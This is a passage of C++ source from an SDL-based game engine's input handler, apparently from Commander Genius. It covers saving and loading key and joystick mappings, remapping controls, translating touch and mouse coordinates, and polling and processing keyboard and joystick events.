\brief This will load input settings that were saved previously by the user at past session. */ void CInput::loadControlconfig(void) { CConfiguration Configuration; if(Configuration.Parse()) { std::string section; for(size_t i=0 ; i<mInputCommands.size() ; i++) { // setup input from proper string section = "input" + itoa(i); std::string value; auto &curInput = mInputCommands[i]; Configuration.ReadString( section, "Left", value, "Left"); setupInputCommand( curInput, IC_LEFT, value ); Configuration.ReadString( section, "Up", value, "Up"); setupInputCommand( curInput, IC_UP, value ); Configuration.ReadString( section, "Right", value, "Right"); setupInputCommand( curInput, IC_RIGHT, value ); Configuration.ReadString( section, "Down", value, "Down"); setupInputCommand( curInput, IC_DOWN, value ); Configuration.ReadString( section, "Lower-Left", value, "End"); setupInputCommand( curInput, IC_LOWERLEFT, value ); Configuration.ReadString( section, "Lower-Right", value, "Page Down"); setupInputCommand( curInput, IC_LOWERRIGHT, value ); Configuration.ReadString( section, "Upper-Left", value, "Home"); setupInputCommand( curInput, IC_UPPERLEFT, value ); Configuration.ReadString( section, "Upper-Right", value, "Page Up"); setupInputCommand( curInput, IC_UPPERRIGHT, value ); Configuration.ReadString( section, "Jump", value, "Left ctrl"); setupInputCommand( curInput, IC_JUMP, value ); Configuration.ReadString( section, "Pogo", value, "Left alt"); setupInputCommand( curInput, IC_POGO, value ); Configuration.ReadString( section, "Fire", value, "Space"); setupInputCommand( curInput, IC_FIRE, value ); Configuration.ReadString( section, "Run", value, "Shift"); setupInputCommand( curInput, IC_RUN, value ); Configuration.ReadString( section, "Status", value, "Return"); setupInputCommand( curInput, IC_STATUS, value ); Configuration.ReadString( section, "Camlead", value, "c"); setupInputCommand( curInput, IC_CAMLEAD, value ); Configuration.ReadString( section, "Help", value, "F11"); setupInputCommand( curInput, IC_HELP, value ); Configuration.ReadString( section, "Back", value, "Escape"); setupInputCommand( curInput, IC_BACK, value ); Configuration.ReadString( section, "Quicksave", value, "F6"); setupInputCommand( curInput, IC_QUICKSAVE, value ); Configuration.ReadString( section, "Quickload", value, "F9"); setupInputCommand( curInput, IC_QUICKLOAD, value ); Configuration.ReadKeyword( section, "TwoButtonFiring", &TwoButtonFiring[i], false); Configuration.ReadKeyword( section, "Analog", &mAnalogAxesMovement[i], false); Configuration.ReadKeyword( section, "SuperPogo", &mSuperPogo[i], false); Configuration.ReadKeyword( section, "ImpossiblePogo", &mImpPogo[i], true); Configuration.ReadKeyword( section, "AutoFire", &mFullyAutomatic[i], false); } } else { for(size_t c=0 ; c< NUM_INPUTS ; c++) resetControls(int(c)); } } /** * \brief This will save input settings according to how the user did map the buttons, * axes or keys to the commands. */ void CInput::saveControlconfig() { CConfiguration Configuration; Configuration.Parse(); std::string section; for(size_t i=0 ; i<NUM_INPUTS ; i++) { section = "input" + itoa(i); const auto inputVal = static_cast<unsigned char>(i); // Movement section Configuration.WriteString(section, "Left", getEventName(IC_LEFT, inputVal)); Configuration.WriteString(section, "Up", getEventName(IC_UP, inputVal)); Configuration.WriteString(section, "Right", getEventName(IC_RIGHT, inputVal)); Configuration.WriteString(section, "Down", getEventName(IC_DOWN, inputVal)); Configuration.WriteString(section, "Upper-Left", getEventName(IC_UPPERLEFT, inputVal)); Configuration.WriteString(section, "Upper-Right", getEventName(IC_UPPERRIGHT, inputVal)); Configuration.WriteString(section, "Lower-Left", getEventName(IC_LOWERLEFT, inputVal)); Configuration.WriteString(section, "Lower-Right", getEventName(IC_LOWERRIGHT, inputVal)); // Button section Configuration.WriteString(section, "Jump", getEventName(IC_JUMP, inputVal)); Configuration.WriteString(section, "Pogo", getEventName(IC_POGO, inputVal)); Configuration.WriteString(section, "Fire", getEventName(IC_FIRE, inputVal)); Configuration.WriteString(section, "Run", getEventName(IC_RUN, inputVal)); Configuration.WriteString(section, "Status", getEventName(IC_STATUS, inputVal)); Configuration.WriteString(section, "Camlead", getEventName(IC_CAMLEAD, inputVal)); Configuration.WriteString(section, "Help", getEventName(IC_HELP, inputVal)); Configuration.WriteString(section, "Back", getEventName(IC_BACK, inputVal)); Configuration.WriteString(section, "Quicksave", getEventName(IC_QUICKSAVE, inputVal)); Configuration.WriteString(section, "Quickload", getEventName(IC_QUICKLOAD, inputVal)); // Optional tweaks Configuration.SetKeyword(section, "TwoButtonFiring", TwoButtonFiring[i]); Configuration.SetKeyword(section, "Analog", mAnalogAxesMovement[i]); Configuration.SetKeyword(section, "SuperPogo", mSuperPogo[i]); Configuration.SetKeyword(section, "ImpossiblePogo", mImpPogo[i]); Configuration.SetKeyword(section, "AutoFire", mFullyAutomatic[i]); } Configuration.saveCfgFile(); } /** * Gets the event name from the last mapped event */ std::string CInput::getNewMappedEvent(int &rPos, unsigned char &rInp) { rPos = remapper.mapPosition; rInp = remapper.mapDevice; return getEventShortName(remapper.mapPosition, remapper.mapDevice); } std::string CInput::getEventShortName(int command, unsigned char input) { std::string buf; if(mInputCommands[input][command].joyeventtype == ETYPE_JOYAXIS) { buf = "J" + itoa(mInputCommands[input][command].which) + "A" + itoa(mInputCommands[input][command].joyaxis); if(mInputCommands[input][command].joyvalue < 0) buf += "-"; else buf += "+"; } else if(mInputCommands[input][command].joyeventtype == ETYPE_JOYBUTTON) { buf = "J" + itoa(mInputCommands[input][command].which) + "B" + itoa(mInputCommands[input][command].joybutton); } else if(mInputCommands[input][command].joyeventtype == ETYPE_JOYHAT) { buf = "J" + itoa(mInputCommands[input][command].which) + "H" + itoa(mInputCommands[input][command].joyhatval); } else // In case only keyboard was triggered { buf = SDL_GetKeyName(mInputCommands[input][command].keysym); } return buf; } void CInput::render() { #ifdef USE_VIRTUALPAD if(!gVideoDriver.VGamePadEnabled()) return; if(!mpVirtPad) return; if(!mpVirtPad->active()) return; if(mVPadConfigState) { mpVirtPad->renderConfig(); } GsWeakSurface blit(gVideoDriver.getBlitSurface()); mpVirtPad->render(blit); #endif } std::string CInput::getEventName(int command, unsigned char input) { std::string buf; auto &curInput = mInputCommands[input]; if(curInput[command].joyeventtype == ETYPE_JOYAXIS) { buf = "Joy" + itoa(curInput[command].which) + "-A" + itoa(curInput[command].joyaxis); if(curInput[command].joyvalue < 0) buf += "-"; else buf += "+"; } else if(curInput[command].joyeventtype == ETYPE_JOYBUTTON) { buf = "Joy" + itoa(curInput[command].which) + "-B" + itoa(curInput[command].joybutton); } else if(curInput[command].joyeventtype == ETYPE_JOYHAT) { buf = "Joy" + itoa(curInput[command].which) + "-H" + itoa(curInput[command].joyhatval); } else // In case only keyboard was triggered { buf = "Key "; buf += itoa(curInput[command].keysym); buf += " ("; buf += SDL_GetKeyName(curInput[command].keysym); buf += ")"; } return buf; } void CInput::setupInputCommand(std::array<stInputCommand, MAX_COMMANDS> &input, int action, const std::string &string ) { std::string buf = string; TrimSpaces(buf); if(buf == "") return; if(strCaseStartsWith(string, "Joy")) { std::string buf2; buf = buf.substr(3); size_t pos = buf.find('-'); buf2 = buf.substr(0, pos); input[action].which = atoi(buf2); buf = buf.substr(pos+1); buf2 = buf.substr(0,1); buf = buf.substr(1); if(buf2 == "A") { input[action].joyeventtype = ETYPE_JOYAXIS; pos = buf.size()-1; buf2 = buf.substr(0,pos); input[action].joyaxis = atoi(buf2); buf2 = buf.substr(pos); input[action].joyvalue = (buf2 == "+") ? +1 : -1; } else if(buf2 == "B") { input[action].joyeventtype = ETYPE_JOYBUTTON; input[action].joybutton = atoi(buf); } else // Should normally be H { input[action].joyeventtype = ETYPE_JOYHAT; input[action].joyhatval = atoi(buf); } return; } if(strCaseStartsWith(string, "Key")) { input[action].joyeventtype = ETYPE_KEYBOARD; buf = buf.substr(3); TrimSpaces(buf); #if SDL_VERSION_ATLEAST(2, 0, 0) input[action].keysym = (SDL_Keycode) atoi(buf); #else input[action].keysym = (SDLKey) atoi(buf); #endif return; } } /** * \brief Prepares the Input Controller to map a new command * \param device input of which we are trying to read the event * \param command command for which we want to assign the event * \return returns true, if an event was triggered, or false if not. */ void CInput::setupNewEvent(Uint8 device, int position) { remapper.mapDevice = device; remapper.mapPosition = position; remapper.mappingInput = true; } /** * \brief This checks if some event was triggered to get the new input command * \param device input of which we are trying to read the event * \param command command for which we want to assign the event * \return returns true, if an event was triggered, or false if not. */ void CInput::readNewEvent() { stInputCommand &readInput = mInputCommands[remapper.mapDevice][remapper.mapPosition]; // This function is used to configure new input keys. // For iPhone, we have emulation via touchpad and we don't want to have custom keys. // We should fix the menu for iPhone so that this function doesn't get called. #if TARGET_OS_IPHONE || TARGET_IPHONE_SIMULATOR printf("WARNING: called readNewEvent on iphone\n"); return; #endif readInput = stInputCommand(); if(!m_EventList.empty()) m_EventList.clear(); const SDL_Keycode removeEvSym1 = SDLK_LALT; const SDL_Keycode removeEvSym2 = SDLK_BACKSPACE; while( SDL_PollEvent( &Event ) ) { switch ( Event.type ) { case SDL_QUIT: gLogging << "SDL: Got quit event in readNewEvent!"; #if TARGET_OS_IPHONE || TARGET_IPHONE_SIMULATOR // on iPhone, we just want to quit in this case exit(0); #endif break; case SDL_KEYDOWN: // Special for removing the assinged event if(mRemovalRunning && Event.key.keysym.sym == removeEvSym2) { remapper.mappingInput = false; mRemovalRunning = false; } else if(Event.key.keysym.sym == removeEvSym1) { mRemovalRunning = true; } else { readInput.joyeventtype = ETYPE_KEYBOARD; readInput.keysym = Event.key.keysym.sym; remapper.mappingInput = false; mRemovalRunning = false; } break; case SDL_JOYBUTTONDOWN: #if defined(CAANOO) || defined(WIZ) || defined(GP2X) WIZ_EmuKeyboard( Event.jbutton.button, 1 ); return false; #else readInput.joyeventtype = ETYPE_JOYBUTTON; readInput.joybutton = Event.jbutton.button; readInput.which = mJoyIdToInputIdx[Event.jbutton.which]; remapper.mappingInput = false; #endif mRemovalRunning = false; break; case SDL_JOYAXISMOTION: // Deadzone check. Double, because being a // new event to be read it should make better to configure if( (Event.jaxis.value > 2*m_joydeadzone ) || (Event.jaxis.value < -2*m_joydeadzone ) ) { readInput.joyeventtype = ETYPE_JOYAXIS; readInput.joyaxis = Event.jaxis.axis; readInput.which = mJoyIdToInputIdx[Event.jaxis.which]; readInput.joyvalue = (Event.jaxis.value>0) ? 32767 : -32767; remapper.mappingInput = false; mRemovalRunning = false; } break; case SDL_JOYHATMOTION: readInput.joyeventtype = ETYPE_JOYHAT; readInput.joyhatval = Event.jhat.value; readInput.which = mJoyIdToInputIdx[Event.jhat.which]; remapper.mappingInput = false; mRemovalRunning = false; break; case SDL_JOYDEVICEADDED: gLogging << "SDL: A Joystick just got added."; openJoyAndPrintStats(Event.jdevice.which); break; case SDL_JOYDEVICEREMOVED: gLogging << "SDL: A Joystick just got removed."; auto joystick = SDL_JoystickFromInstanceID(Event.jdevice.which); mp_Joysticks.remove_if( [joystick](SDL_Joystick* curPtr) { return (curPtr == joystick); } ); SDL_JoystickClose(joystick); break; } flushAll(); } } void CInput::waitForAnyInput() { float acc = 0.0f; float start = timerTicks(); float elapsed = 0.0f; float curr = 0.0f; bool done = false; while(1) { const auto logicLatency = gTimer.LogicLatency(); curr = timerTicks(); if(gTimer.resetLogicSignal()) start = curr; elapsed = curr - start; start = timerTicks(); acc += elapsed; // Perform a pseudo game cycle while( acc > logicLatency ) { if(getPressedAnyCommand()) { done = true; } acc -= logicLatency; } if(done) break; elapsed = timerTicks() - start; const auto waitTime = int(logicLatency - elapsed); // wait time remaining in current loop if( waitTime > 0 ) { timerDelay(waitTime); } // We must poll here, otherwise no new inputs will appear pollEvents(); } } bool CInput::getTwoButtonFiring(const int player) { return TwoButtonFiring[player]; } void CInput::setTwoButtonFiring(const int player, const bool value) { TwoButtonFiring[player]=value; } bool CInput::isAnalog(const int player) { return mAnalogAxesMovement[player]; } void CInput::enableAnalog(const int player, const bool value) { mAnalogAxesMovement[player]=value; } GsRect<int> tiltBack(const GsRect<int> &screenRect, const GsVec2D<int> &pt) { const GsVec2D<int> rotPt(screenRect.dim.x/2, screenRect.dim.y/2); // Because tilt with 90 degree only works if the plane is squared // the coordinate must be transformed if(rotPt.x <= 0 || rotPt.y <= 0) return GsRect<int>(0,0,0,0); const auto rotTransX = rotPt.x*rotPt.y; const auto rotTransY = rotPt.y*rotPt.x; const auto x1_rel = (pt.x-rotPt.x)*rotPt.y; const auto y1_rel = (pt.y-rotPt.y)*rotPt.x; const int x2_rel = y1_rel; const int y2_rel = -x1_rel; auto retX = (x2_rel+rotTransX)/rotPt.y; auto retY = (y2_rel+rotTransY)/rotPt.x; return GsRect<int>( retX, retY, screenRect.dim.x, screenRect.dim.y); } void CInput::transMouseRelCoord(GsVec2D<float> &Pos, const GsVec2D<int> pointer, const GsRect<Uint16> &activeArea, const bool tiltedScreen) { auto myCoord = pointer; if(tiltedScreen) { const auto tiltRect = tiltBack(activeArea, myCoord); myCoord = tiltRect.pos; } Pos.x = ( static_cast<float>(myCoord.x-activeArea.pos.x)/ static_cast<float>(activeArea.dim.x) ); Pos.y = ( static_cast<float>(myCoord.y-activeArea.pos.y)/ static_cast<float>(activeArea.dim.y) ); } void CInput::ponder() { #ifdef USE_VIRTUALPAD if(!mpVirtPad) return; if(!mpVirtPad->active()) return; mpVirtPad->ponder(); #endif } void CInput::flushFingerEvents() { #ifdef USE_VIRTUALPAD if(!mpVirtPad) return; mpVirtPad->flush(); #endif } void CInput::pollEvents() { // Semaphore SDL_SemWait( mpPollSem ); #ifdef USE_VIRTUALPAD if(mpVirtPad && mVPadConfigState) { mpVirtPad->processConfig(); } #endif if(remapper.mappingInput) { readNewEvent(); SDL_SemPost( mpPollSem ); return; } GsVec2D<float> Pos; #if SDL_VERSION_ATLEAST(2, 0, 0) #else GsRect<Uint16> Res(SDL_GetVideoSurface()->w, SDL_GetVideoSurface()->h); #endif // copy all the input of the last poll to a space for checking pressing or holding a button memcpy(last_immediate_keytable, immediate_keytable, KEYTABLE_SIZE*sizeof(char)); // Input for player commands for(unsigned int j=0 ; j<mInputCommands.size() ; j++) { auto &input = mInputCommands[j]; for(unsigned int i=0 ; i<input.size() ; i++) { input[i].lastactive = input[i].active; } } GsRect<Uint16> activeArea = gVideoDriver.mpVideoEngine->getActiveAreaRect(); auto &dispRect = gVideoDriver.getVidConfig().mDisplayRect; const bool tiltedScreen = gVideoDriver.getVidConfig().mTiltedScreen; SDL_Joystick *joystick = nullptr; // While there's an event to handle while( SDL_PollEvent( &Event ) ) { bool passSDLEventVec = true; switch( Event.type ) { case SDL_QUIT: gLogging << "SDL: Got quit event!"; m_exit = true; break; case SDL_KEYDOWN: passSDLEventVec = processKeys(1); break; case SDL_KEYUP: passSDLEventVec = processKeys(0); break; case SDL_JOYAXISMOTION: passSDLEventVec = true; processJoystickAxis(); break; case SDL_JOYBUTTONDOWN: passSDLEventVec = true; processJoystickButton(1); break; case SDL_JOYBUTTONUP: passSDLEventVec = true; processJoystickButton(0); break; case SDL_JOYHATMOTION: passSDLEventVec = true; processJoystickHat(); break; case SDL_JOYDEVICEADDED: gLogging.ftextOut("SDL: A Joystick just got added: Idx %d<br>\n", Event.jdevice.which); openJoyAndPrintStats(Event.jdevice.which); break; case SDL_JOYDEVICEREMOVED: gLogging.ftextOut("SDL: A Joystick just got removed: Idx %d<br>\n", Event.jdevice.which); joystick = SDL_JoystickFromInstanceID(Event.jdevice.which); mp_Joysticks.remove_if( [joystick](SDL_Joystick* curPtr) { return (curPtr == joystick); } ); SDL_JoystickClose(joystick); break; #if SDL_VERSION_ATLEAST(2, 0, 0) case SDL_FINGERDOWN: { #ifdef USE_VIRTUALPAD // If Virtual gamepad takes control... if(gVideoDriver.VGamePadEnabled() && mpVirtPad && mpVirtPad->active() ) { GsVec2D<int> rotPt(Event.tfinger.x*float(activeArea.dim.x), Event.tfinger.y*float(activeArea.dim.y)); transMouseRelCoord(Pos, rotPt, activeArea, tiltedScreen); if(!mpVirtPad->mouseFingerState(Pos, Event.tfinger, true)) { m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONDOWN ) ); gPointDevice.mPointingState.mActionButton = 1; gPointDevice.mPointingState.mPos = Pos; } } else #endif { const GsVec2D<int> rotPt(Event.tfinger.x*float(activeArea.dim.x), Event.tfinger.y*float(activeArea.dim.y)); transMouseRelCoord(Pos, rotPt, activeArea, tiltedScreen); m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONDOWN ) ); gPointDevice.mPointingState.mActionButton = 1; gPointDevice.mPointingState.mPos = Pos; } } break; case SDL_FINGERUP: #ifdef USE_VIRTUALPAD if(gVideoDriver.VGamePadEnabled() && mpVirtPad && mpVirtPad->active()) { GsVec2D<int> rotPt(Event.tfinger.x*float(activeArea.dim.x), Event.tfinger.y*float(activeArea.dim.y)); transMouseRelCoord(Pos, rotPt, activeArea, tiltedScreen); if(!mpVirtPad->mouseFingerState(Pos, Event.tfinger, false)) { passSDLEventVec = true; m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONUP ) ); gPointDevice.mPointingState.mActionButton = 0; gPointDevice.mPointingState.mPos = Pos; } } else #endif { passSDLEventVec = true; GsVec2D<int> rotPt(Event.tfinger.x*float(activeArea.dim.x), Event.tfinger.y*float(activeArea.dim.y)); transMouseRelCoord(Pos, rotPt, activeArea, tiltedScreen); m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONUP ) ); gPointDevice.mPointingState.mActionButton = 0; gPointDevice.mPointingState.mPos = Pos; } break; case SDL_FINGERMOTION: { GsVec2D<int> rotPt(Event.tfinger.x*float(activeArea.dim.x), Event.tfinger.y*float(activeArea.dim.y)); // If Virtual gamepad takes control... #ifdef USE_VIRTUALPAD if(gVideoDriver.VGamePadEnabled() && mpVirtPad && mpVirtPad->active() ) { transMouseRelCoord(Pos, rotPt, activeArea, tiltedScreen); if(!mpVirtPad->mouseFingerState(Pos, Event.tfinger, true)) { m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONDOWN ) ); gPointDevice.mPointingState.mActionButton = 1; gPointDevice.mPointingState.mPos = Pos; } } else #endif { const GsVec2D<int> rotPt(Event.tfinger.x, Event.tfinger.y); transMouseRelCoord(Pos, rotPt, activeArea, tiltedScreen); m_EventList.add(new PointingDevEvent(Pos, PDE_MOVED)); gPointDevice.mPointingState.mPos = Pos; //processMouse(Event); } } break; case SDL_WINDOWEVENT: if(Event.window.event == SDL_WINDOWEVENT_RESIZED) { gVideoDriver.mpVideoEngine->resizeDisplayScreen( GsRect<Uint16>(Event.window.data1, Event.window.data2) ); dispRect.dim.x = Event.window.data1; dispRect.dim.y = Event.window.data2; } break; #else case SDL_VIDEORESIZE: gVideoDriver.mpVideoEngine->resizeDisplayScreen( GsRect<Uint16>(Event.resize.w, Event.resize.h) ); dispRect.w = Event.resize.w; dispRect.h = Event.resize.h; break; #endif #ifndef ANDROID case SDL_MOUSEBUTTONDOWN: if(Event.button.button <= 3) { #ifdef USE_VIRTUALPAD // If Virtual gamepad takes control... if(gVideoDriver.VGamePadEnabled() && mpVirtPad && mpVirtPad->active() ) { const GsVec2D<int> rotPt(Event.motion.x, Event.motion.y); transMouseRelCoord(Pos, rotPt, activeArea, tiltedScreen); if(!mpVirtPad->mouseDown(Pos)) { m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONDOWN ) ); gPointDevice.mPointingState.mActionButton = 1; gPointDevice.mPointingState.mPos = Pos; } } else #endif { const GsVec2D<int> rotPt(Event.motion.x, Event.motion.y); transMouseRelCoord(Pos, Event.motion, activeArea, tiltedScreen); m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONDOWN ) ); gPointDevice.mPointingState.mActionButton = 1; gPointDevice.mPointingState.mPos = Pos; } } break; case SDL_MOUSEBUTTONUP: #ifdef USE_VIRTUALPAD if(gVideoDriver.VGamePadEnabled() && mpVirtPad && mpVirtPad->active()) { const GsVec2D<int> rotPt(Event.motion.x, Event.motion.y); transMouseRelCoord(Pos, rotPt, activeArea, tiltedScreen); if(!mpVirtPad->mouseUp(Pos)) { passSDLEventVec = true; m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONUP ) ); gPointDevice.mPointingState.mActionButton = 0; gPointDevice.mPointingState.mPos = Pos; } } else #endif { passSDLEventVec = true; const GsVec2D<int> rotPt(Event.motion.x, Event.motion.y); transMouseRelCoord(Pos, Event.motion, activeArea, tiltedScreen); m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONUP ) ); gPointDevice.mPointingState.mActionButton = 0; gPointDevice.mPointingState.mPos = Pos; } break; #if SDL_VERSION_ATLEAST(2, 0, 0) case SDL_MOUSEWHEEL: gEventManager.add( new MouseWheelEvent( GsVec2D<float>(float(Event.wheel.x), float(Event.wheel.y)) ) ); break; #endif case SDL_MOUSEMOTION: const GsVec2D<int> rotPt(Event.motion.x, Event.motion.y); transMouseRelCoord(Pos, Event.motion, activeArea, tiltedScreen); #ifdef USE_VIRTUALPAD if(gVideoDriver.VGamePadEnabled() && mpVirtPad && mpVirtPad->active()) { if(!mpVirtPad->mouseUp(Pos)) { passSDLEventVec = true; m_EventList.add( new PointingDevEvent( Pos, PDE_MOVED ) ); gPointDevice.mPointingState.mActionButton = 0; gPointDevice.mPointingState.mPos = Pos; } } else #endif { passSDLEventVec = true; m_EventList.add( new PointingDevEvent( Pos, PDE_MOVED ) ); gPointDevice.mPointingState.mActionButton = 0; gPointDevice.mPointingState.mPos = Pos; break; } #endif } if(passSDLEventVec) { mSDLEventVec.push_back(Event); } else { mBackEventBuffer.push_back(Event); } } #ifdef MOUSEWRAPPER // Handle mouse emulation layer processMouse(); #endif for(unsigned int i = 0; i < KEYTABLE_SIZE; ++i) firsttime_immediate_keytable[i] = !last_immediate_keytable[i] && immediate_keytable[i]; for(int i=0 ; i<MAX_COMMANDS ; i++) { for(int j=0 ; j<NUM_INPUTS ; j++) { auto &input = mInputCommands[j]; input[i].firsttimeactive = !input[i].lastactive && input[i].active; } } #ifndef MOUSEWRAPPER // TODO: I'm not sure, if that should go here... // Check, if LALT+ENTER was pressed if((getHoldedKey(KALT)) && getPressedKey(KENTER)) { bool value; value = gVideoDriver.getFullscreen(); value = !value; gLogging.textOut(FONTCOLORS::GREEN,"Fullscreen mode triggered by user!<br>"); gVideoDriver.isFullscreen(value); // initialize/activate all drivers gLogging.ftextOut("Restarting graphics driver...<br>"); if ( gVideoDriver.applyMode() && gVideoDriver.start() ) { gLogging.ftextOut(FONTCOLORS::PURPLE, "Toggled Fullscreen quick shortcut...<br>"); } else { value = !value; gLogging.ftextOut(FONTCOLORS::PURPLE, "Couldn't change the resolution, Rolling back...<br>"); gVideoDriver.applyMode(); gVideoDriver.start(); } gInput.flushAll(); } // Check, if LALT+Q or LALT+F4 was pressed if(getHoldedKey(KALT) && (getPressedKey(KF4) || getPressedKey(KQ)) ) { gLogging << "User exit request!"; m_exit = true; } #endif #if defined(WIZ) || defined(GP2X) WIZ_AdjustVolume( volume_direction ); #endif SDL_SemPost( mpPollSem ); } /** * \brief This will tell if any joystick axes haven been moved and if they triggered a command by doing so... */ void CInput::processJoystickAxis(void) { const auto evWhich = mJoyIdToInputIdx[Event.jaxis.which]; // Input for player commands for(auto &input : mInputCommands) { for(auto &curInput : input) { // Only axis types if(curInput.joyeventtype != ETYPE_JOYAXIS) continue; // Only the right device id if( evWhich != curInput.which ) continue; // It must match to mapped axis movement if( Event.jaxis.axis != curInput.joyaxis ) continue; // Also respect the Deadzone if((Event.jaxis.value > m_joydeadzone && curInput.joyvalue > 0) || (Event.jaxis.value < -m_joydeadzone && curInput.joyvalue < 0)) { curInput.active = true; curInput.joymotion = Event.jaxis.value; } else { curInput.active = false; } } } } void CInput::processJoystickHat() { const auto evWhich = mJoyIdToInputIdx[Event.jhat.which]; for(int j=0 ; j<NUM_INPUTS ; j++) { auto &input = mInputCommands[j]; for(int i=0 ; i<MAX_COMMANDS ; i++) { stInputCommand &command = input[i]; if( command.joyeventtype == ETYPE_JOYHAT && command.which == evWhich) { command.active = false; // Check if Joystick hats are configured for this event if( (Event.jhat.value & command.joyhatval) ) { command.active = true; } } } } } /** * \brief This will tell if any joystick button has been pressed and if they triggered a command by doing so... */ void CInput::processJoystickButton(int value) { #if defined(CAANOO) || defined(WIZ) || defined(GP2X) WIZ_EmuKeyboard( Event.jbutton.button, value ); #else const auto evWhich = mJoyIdToInputIdx[Event.jbutton.which]; for( auto &inputCommand : mInputCommands) { auto &inputs = inputCommand; for( auto &input : inputs) { if(input.joyeventtype == ETYPE_JOYBUTTON) { // Joystick buttons are configured for this event if(evWhich == input.which && Event.jbutton.button == input.joybutton ) { input.active = value; } } } } #endif } /** * Sends a key to the Commander Genius engine */ void CInput::sendKey(int key){ immediate_keytable[key] = true; } /** * \brief This will tell if any key was pressed and it fits the to command array, so we can tell, the command * was triggered. * \param keydown this parameter tells if the keys is down or has already been released. */ bool CInput::processKeys(int keydown) { bool passSDLEventVec = true; // Input for player commands for( auto &input : mInputCommands ) { for(decltype(input.size()) i=0 ; i<input.size() ; i++) { if(input[i].keysym == Event.key.keysym.sym && input[i].joyeventtype == ETYPE_KEYBOARD) { input[i].active = (keydown) ? true : false; if(i == IC_BACK) { passSDLEventVec = false; } } } } // ... and for general keys switch(Event.key.keysym.sym) { // These are only used for ingame stuff or menu, but not for controlling the player anymore case SDLK_LEFT: immediate_keytable[KLEFT] = keydown; break; case SDLK_UP: immediate_keytable[KUP] = keydown; break; case SDLK_RIGHT: immediate_keytable[KRIGHT] = keydown; break; case SDLK_DOWN: immediate_keytable[KDOWN] = keydown; break; // Page Keys case SDLK_PAGEUP: immediate_keytable[KPGUP] = keydown; break; case SDLK_PAGEDOWN: immediate_keytable[KPGDN] = keydown; break; case SDLK_RETURN:immediate_keytable[KENTER] = keydown; break; case SDLK_RCTRL:immediate_keytable[KCTRL] = keydown; break; case SDLK_LCTRL:immediate_keytable[KCTRL] = keydown; break; case SDLK_SPACE:immediate_keytable[KSPACE] = keydown; break; case SDLK_RALT:immediate_keytable[KALT] = keydown; break; case SDLK_LALT:immediate_keytable[KALT] = keydown; break; case SDLK_TAB:immediate_keytable[KTAB] = keydown; break; case SDLK_LSHIFT:immediate_keytable[KSHIFT] = keydown; break; case SDLK_RSHIFT:immediate_keytable[KSHIFT] = keydown; break; case SDLK_ESCAPE:immediate_keytable[KQUIT] = keydown; break; case SDLK_BACKSPACE:immediate_keytable[KBCKSPCE] = keydown; break; case SDLK_QUOTE:immediate_keytable[KQUOTE] = keydown; break; case SDLK_COMMA:immediate_keytable[KCOMMA] = keydown; break; case SDLK_PERIOD:immediate_keytable[KPERIOD] = keydown; break; case SDLK_SLASH:immediate_keytable[KSLASH] = keydown; break; case SDLK_SEMICOLON:immediate_keytable[KSEMICOLON] = keydown; break; case SDLK_EQUALS:immediate_keytable[KEQUAL] = keydown; break; case SDLK_LEFTBRACKET:immediate_keytable[KLEFTBRACKET] = keydown; break; case SDLK_BACKSLASH:immediate_keytable[KBACKSLASH] = keydown; break; case SDLK_RIGHTBRACKET:immediate_keytable[KRIGHTBRACKET] = keydown; break; case SDLK_BACKQUOTE:immediate_keytable[KBACKQUOTE] = keydown; break; case SDLK_a:immediate_keytable[KA] = keydown; break; case SDLK_b:immediate_keytable[KB] = keydown; break; case SDLK_c:immediate_keytable[KC] = keydown; break; case SDLK_d:immediate_keytable[KD] = keydown; break; case SDLK_e:immediate_keytable[KE] = keydown; break; case SDLK_f:immediate_keytable[KF] = keydown; break; case SDLK_g:immediate_keytable[KG] = keydown; break; case SDLK_h:immediate_keytable[KH] = keydown; break; case SDLK_i:immediate_keytable[KI] = keydown; break; case SDLK_j:immediate_keytable[KJ] = keydown; break; case SDLK_k:immediate_keytable[KK] = keydown; break; case SDLK_l:immediate_keytable[KL] = keydown; break; case SDLK_m:immediate_keytable[KM] = keydown; break; case SDLK_n:immediate_keytable[KN] = keydown; break; case SDLK_o:immediate_keytable[KO] = keydown; break; case SDLK_p:immediate_keytable[KP] = keydown; break; case SDLK_q:immediate_keytable[KQ] = keydown; break; case SDLK_r:immediate_keytable[KR] = keydown; break; case SDLK_s:immediate_keytable[KS] = keydown; break; case SDLK_t:immediate_keytable[KT] = keydown; break; case SDLK_u:immediate_keytable[KU] = keydown; break; case SDLK_v:immediate_keytable[KV] = keydown; break; case SDLK_w:immediate_keytable[KW] = keydown; break; case SDLK_x:immediate_keytable[KX] = keydown; break; case SDLK_y:immediate_keytable[KY] = keydown; break; case SDLK_z:immediate_keytable[KZ] = keydown; break; case SDLK_F1:immediate_keytable[KF1] = keydown; break; case SDLK_F2:immediate_keytable[KF2] = keydown; break; case SDLK_F3:immediate_keytable[KF3] = keydown; break; case SDLK_F4:immediate_keytable[KF4] = keydown; break; case SDLK_F5:immediate_keytable[KF5] = keydown; break; case SDLK_F6:immediate_keytable[KF6] = keydown; break; case SDLK_F7:immediate_keytable[KF7] = keydown; break; case SDLK_F8:immediate_keytable[KF8] = keydown; break; case SDLK_F9:immediate_keytable[KF9] = keydown; break; case SDLK_F10:immediate_keytable[KF10] = keydown; break; case SDLK_0:immediate_keytable[KNUM0] = keydown; break; case SDLK_1:immediate_keytable[KNUM1] = keydown; break; case SDLK_2:immediate_keytable[KNUM2] = keydown; break; case SDLK_3:immediate_keytable[KNUM3] = keydown; break; case SDLK_4:immediate_keytable[KNUM4] = keydown; break; case SDLK_5:immediate_keytable[KNUM5] = keydown; break; case SDLK_6:immediate_keytable[KNUM6] = keydown; break; case SDLK_7:immediate_keytable[KNUM7] = keydown; break; case SDLK_8:immediate_keytable[KNUM8] = keydown; break; case SDLK_9:immediate_keytable[KNUM9] = keydown; break; case SDLK_EXCLAIM:immediate_keytable[KEXCLAIM] = keydown; break; case SDLK_QUOTEDBL:immediate_keytable[KDBLQUOTE] = keydown; break; case SDLK_HASH:immediate_keytable[KHASH] = keydown; break; case SDLK_DOLLAR:immediate_keytable[KDOLLAR] = keydown; break; case SDLK_AMPERSAND:immediate_keytable[KAMPERSAND] = 